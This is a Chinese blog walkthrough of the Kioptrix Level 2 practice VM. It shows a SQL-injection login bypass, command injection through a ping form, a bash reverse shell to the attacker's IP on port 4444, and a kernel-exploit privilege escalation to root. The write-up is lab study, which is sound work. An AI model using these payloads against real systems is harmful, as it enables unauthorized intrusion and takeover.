OSCP靶机之Kioptrix Level 2

1.端口扫描

靶机下载地址
关于靶机的搭建以及发现就不做过多赘述了,详见博客Kioptrix Level 1中的介绍。

服务

2.漏洞发现

基于level1的经验,咱们这次针对靶机开放的每个服务进行一次分析。

2.1 OpenSSH 3.9p1
exploit-db

漏洞库未搜到相关版本的exploit。那我们尝试爆破吧,使用kali里自带的字典。


hydra

爆破未果,看来这个靶机的解题思路不在这,那我们换个姿势。

2.2 Apache httpd 2.0.52

在漏洞库中搜索该版本apache的漏洞,仍然没有结果。
对网站进行访问:


web

一个普通的登陆框,没有验证码,第一反应是爆破。不过爆破是下策,可以考虑从万能密码,sql注入入手。
经过简单的尝试,使用admin/1' or '1'='1 成功登录该系统:


image.png

看到这个ping的功能,如果做过dvwa靶机的应该比较熟悉。这里本质是个ping IP的功能,个人理解就是在系统里运行:
ping [表单中提交的IP地址]

那命令后添加分隔符达到运行自己设定的命令的目标,这里简单介绍下linux的几种分隔命令符号的具体作用:
“;”分隔符:用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行;
“&&”分隔符:遇到首个命令执行失败后,后面的命令不会执行;
“||”分隔符:遇到首个命令执行成功后,后面的命令不会执行。

ping 127.0.0.1;ifconfig

简单使用这个方法尝试是否成功:



成功了,那下一步就是使用nc神器反弹shell了。
首先在kali中监听4444端口:

nc -nlvp 4444

web输入执行命令:

ping 127.0.0.1;bash -i >& /dev/tcp/192.168.43.92/4444 0>&1


kali这边监听收到了反弹过来的shell(这个原理和更深入的用法后面会对nc做个介绍),本以为这样就结束了。准备敲个cat /etc/shadow完事,结果发现权限不够。

whoami一查结果发现是apache,应该是网站权限的用户了。
那下一步就是提权了。。。
systeminfo

使用kali的searchsploit模块进行搜索(效果等同使用exploit-db网站):
exploit

这里按刚才的内核以及系统版本搜索到唯一匹配的exploit。
到这里就遇到了很多个坑,困扰了两天才把这个靶机拿下:
坑1:当wget下载https的网站时后面需要跟

--no-check-certificate

不验证证书的情况下进行请求才能正常下载。


但是由于靶机openssh版本的问题无法从漏洞库下载exploit。
坑2:于是就用了另一种方法,在攻击机中先下好,编译之后上传到靶机中运行。
上传的方法我使用的是python临时的http服务用于下载exploit:

python -m SimpleHTTPServer xx[端口]

但是在www目录下apache这个用户没有写权限,导致文件下载失败。后面直接来到根目录使用ls -la查看其他用户有写权限的目录,这里发现只有tmp目录有该权限:


坑3:解决掉下载的问题之后,尝试运行好的exploit,系统一直提示tcsetattr:Invalid argument。
网上查了tcsetattr是设置终端参数的,头函数是#include<termios.h>,我猜想是不是又是编译那里出了问题。
最后在经过不断尝试之后找到问题,靶机用gcc版本和攻击机的gcc版本不一致,且靶机是32位系统。所以把c写的exploit拿到靶机上编译完成之后,成功运行,并拿到root权限:
shell

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容